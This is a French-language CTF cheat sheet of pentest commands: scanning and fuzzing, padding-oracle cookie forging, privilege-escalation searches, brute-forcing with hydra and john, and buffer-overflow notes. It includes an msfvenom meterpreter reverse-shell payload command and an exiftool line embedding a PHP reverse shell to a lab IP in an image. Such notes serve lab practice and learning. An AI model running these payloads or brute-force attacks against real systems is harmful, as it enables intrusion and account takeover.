Une simple page de mémo pour les CTF 🙂


Reverse shell samples :

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet


Scripts d’énumération automatique :

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh

https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh


Commandes d’interaction (pour CTF communs)

who

-> Affiche les tty connectés

wall “hello world !”

-> Envoie un message sur tous les tty connectés


Tips & tricks

socat TCP4-LISTEN:1234 TCP4:10.10.10.171:80 &

-> Lance un relai TCP vers une autre machine (pivoting)

Pratique lorsqu’on se connecte à HTB via un VPS

python -m SimpleHTTPServer <PORT>

-> Lance un serveur web dans le répertoire local

apt-get install python-pyftpdlib

python -m pyftpdlib -p 21

->Lance un serveur ftp dans le répertoire courant


Scan & Fuzz :

nslookup -type=<MX / A / AAA / TXT / CNAME / PTR> <DOMAIN>

nslookup -type=MX test.fr

nmap (
-A : détection du système et des versions
-sP : simple ping scan
-sS/sT/sA/sW/sM: Scans TCP SYN/Connect()/ACK/Window/Maimon
-sN/sF/sX: Scans TCP Null, FIN et Xmas
-sU: Scan UDP
-T4 : Définit une temporisation[0-5]
)

nmap -A -T4 -sV 10.10.10.157

smbclient –list //<IPADDRESS>/ -U “”

smbclient –list //10.10.10.134/ -U “”

nmap –script <SCRIPT> -p <PORT> <IPADDRESS>

nmap –script smb-vuln* -p 139,445 10.10.10.134

nikto -h <URL> -p <PORTS>

nikto -h 192.168.0.1 -p 80,443

gobuster –url <IP ADDRESS> dir –wordlist <WORDLIST> -x <EXTENSION>

gobuster –url 10.10.10.157 dir –wordlist /usr/share/wordlists/dirb/big.txt -x php,txt,html,htm

-k -> pas de vérification du certificat SSL

cat *.txt | gobuster –url 10.10.10.157 dir –wordlist –

-> pour piper plusieurs wordlists dans gobuster

dirb <url> <wordlist>

dirb http://docker.hackthebox.eu:58651 /usr/share/dirb/wordlists/vulns/apache.txt

dirb options :
-a “agent” -> spécifie un user-agent
-R -> récursivité interactive
-o output.txt -> redirige l’output

wfuzz –hh=<PARAM_SIZE> -w <WORDLIST> <URL>.php?<PARAM_NAME>=test

wfuzz –hh=24 -w /usr/share/dirb/wordlists/big.txt http://docker.hackthebox.eu:42566/api/action.php?FUZZ=test


Exploitation :

padbuster <URL> <COOKIE> <BLOCK_SIZE> -cookies “<PHPESSID_COOKIE> <OPTIONNAL_COOKIES>” –plaintext ‘<NEW_VALUE>’

padbuster http://docker.hackthebox.eu:59436/profile.php tu%2FOelHH0Nx8BaMhIurtihnbzj6YiABdvdMp0%2Fm6NII%2FClg%2B5Os9Rg%3D%3D 8 -cookies “PHPSESSID=74j9m7o8pbaq8pdoq3l56rvpk4; iknowmag1k=tu%2FOelHH0Nx8BaMhIurtihnbzj6YiABdvdMp0%2Fm6NII%2FClg%2B5Os9Rg%3D%3D” –plaintext ‘{“user”:”test”,”role”:”admin”}’

searchsploit -t <INTITLE> <KEYWORDS> -w

searchsploit windows local smb

sudo -l

-> liste les commandes autorisées pour l’utilisateur courant

find / -type d -writable 2> /dev/null

-> Liste les répertoires accessibles en écriture

find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 6 -exec ls -ld {} \; 2>/dev/null

-> Liste les binaires exécutables par l’utilisateur courant

find / -iname “mon_fichier” -print 2>/dev/null

-> Trouver un fichier précis sur le système

msfvenom -p windows/meterpreter/reverse_tcp lhost=<LOCALIP> lport=<LOCALPORT> -f <FORMAT> > <OUTPUTFILE>

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.100 lport=4444 -f exe > payload.exe

exiftool -Comment='<?php $sock = fsockopen(“<IPADDRESS>”,<PORT>);$proc = proc_open(“/bin/sh -i”, array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>’ <IMAGE>

exiftool -Comment='<?php $sock = fsockopen(“10.10.10.1”,1234);$proc = proc_open(“/bin/sh -i”, array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>’ photo.png


SQL Injection :

sqlmap -u <URL> (–dbs / –tables -D <DATABASE> / –columns -D <DATABASE> -T <TABLENAME>)

sqlmap -u http://bidule.fr/index.php?id= –columns -D information_schema -T USER_PRIVILEGES


Bruteforce :

crunch <MIN> <MAX> <CONTENT>

crunch 4 15 “abcdefghijklmnopqrstuvwxyz”

hydra -l <USER> -P <WORDLIST> <IP ADDRESS> <METHOD> <URL>

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.157 http-get /monitoring

hydra -l <LOGIN> -P <WORDLIST> <URL> <METHOD>”<PAGE>:<ARGUMENT>=^<VALUE>^:<INCORRECT STRING>” -w <THREADS> -s <PORT>

hydra -l admin -P /usr/share/wordlists/rockyou.txt docker.hackthebox.eu http-post-form “/index.php:password=^PASS^:Invalid password” -w 10 -s 45692

john –incremental <HASHFILE>

john –incremental hash

Script de bruteforce anti-CSRF :

https://github.com/J3wker/anti-CSRF_Token-Bruteforce


Mémo Assembleur

Les Registres et leurs fonctions :

Les Instructions :

Commandes gdb :

disass main -> désassemblage de la fonction main

b *0x5655555d0 -> placer un breakpoint à l’adresse spécifiée

x/x $eip -> Affiche la valeur d’un registre ($ = valeur)

x/i $eip -> Affiche la prochaine instruction dans le registre eip

x/wx $esp -> Affiche la valeur sur la stack

r -> run

c -> continue

dumpargs -> dumper les arguments du programme

Pour faire un buffer overflow, il suffit de récupérer l’adresse de la sauvegarde du registre eip et l’adresse de début du buffer, on peut soustraire les deux et trouver le nombre de caractères que prend en compte notre buffer

Compiler sans protection :

gcc -m32 -fno-stack-protector -z execstack bof.c -o bof

-> Si la compil en 32bits ne fonctionne pas, installer libc en 32bits :

apt-get install libc6-dev-i386